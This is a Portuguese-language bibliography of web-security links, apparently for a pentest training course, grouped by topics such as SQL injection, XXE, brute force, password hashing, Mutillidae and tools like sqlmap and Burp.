https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
https://www.owasp.org/images/9/9c/OWASP_Top_10_2013_PT-BR.pdf
https://www.owasp.org/index.php/Brute_force_attack
https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/Using_a_broken_or_risky_cryptographic_algorithm
https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure
https://www.owasp.org/index.php/Unrestricted_File_Upload
https://www.owasp.org/index.php/XSS_Attacks
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://www.cvedetails.com/cwe-details/261/Weak-Cryptography-for-Passwords.html
https://www.owasp.org/index.php/Testing_for_Captcha_(OWASP-AT-012)

Mutillidae
https://sourceforge.net/projects/mutillidae/files/
https://www.sans.org/reading-room/whitepapers/testing/introduction-owasp-
mutillidae-ii-web-pen-test-training-environment-34380
https://pen-testing.sans.org/resources/papers/gwapt/introduction-owasp-mutillidae-ii-
web-pen-test-training-environment-126917
https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide
http://seclist.us/update-mutillidae-v-2-1-20-with-full-vulnerabilities-listing-php-
script.html
Passwords
http://php.net/manual/pt_BR/faq.passwords.php
http://webglimpse.net/pubs/TR94-34.pdf
http://ctankersley.com/2009/10/14/hashing-is-not-encryption/

Listas de Vulnerabilidades
https://exploit-db.com/
https://cve.mitre.org/
https://nakedsecurity.sophos.com/2017/01/03/phpmailer-could-put-your-website-at-
risk-heres-what-you-need-to-know/
https://www.cvedetails.com/vulnerability-list/vendor_id-31/Sendmail.html
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection
https://www.exploit-db.com/exploits/40974/
https://sucuri.net/reports/
https://blog.sucuri.net/portugues/
https://kb.sucuri.net/malware/signatures/

Injection
https://www.exploit-db.com/docs/english/42593-command-injection---shell-
injection.pdf
https://secure.php.net/manual/pt_BR/book.mysqli.php
https://dev.mysql.com/doc/mysql-infoschema-excerpt/5.7/en/information-
schema.html
https://dev.mysql.com/doc/mysql-infoschema-excerpt/5.7/en/tables-table.html
https://pastebin.com/Jk3nEzkJ
https://pastebin.com/d51Gqtkf
https://www.cvedetails.com/vulnerability-list/opsqli-1/sql-injection.html

XXE
https://opennlp.apache.org/news/cve-2017-12620.html
https://www.hack2secure.com/blogs/exploring-xml-external-entity-attack-xxe

CSS
https://stackoverflow.com/questions/476276/using-javascript-in-css#answer-482088
Força Bruta
https://resources.infosecinstitute.com/popular-tools-for-brute-force-attacks/
https://pt.stackoverflow.com/questions/207650/o-que-%C3%A9-timing-attack-e-
onde-ele-se-aplica

Cheat Sheets
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
https://pastebin.com/9JyEjg1a
https://pastebin.com/kdc6th08
https://del.icio.us/inquis/sqlinjection
https://www.exploit-db.com/papers/13650/

Ferramentas
https://portswigger.net/burp/communitydownload
http://sqlmap.org/
https://github.com/sqlmapproject/sqlmap/wiki/Introduction
https://github.com/aboul3la/Sublist3r
https://www.metasploit.com/

Instalações e configurações
https://www.vagrantup.com/docs/providers/default.html
https://stackoverflow.com/questions/21706067/apache-doesnt-serve-files-in-
javascript-directory-why
https://www.devmedia.com.br/arquitetura-de-um-sgbd/25007
http://www.techtudo.com.br/dicas-e-tutoriais/noticia/2016/04/como-instalar-e-usar-o-
shell-bash-do-linux-no-windows-10.html
http://tecnologiaeinovacao.com.br/blog/2017/03/01/como-utilizar-o-curl-no-terminal-
do-windows/

Privacidade
https://www.exploit-db.com/papers/13618
https://ec.europa.eu/commission/priorities/justice-and-fundamental-rights/data-
protection/2018-reform-eu-data-protection-rules_pt
Outro
https://gist.github.com/trietptm/6f87c1b5b54a33d26b5f9cd354cd990d
https://xkcd.com/936/
https://xkcd.com/1354/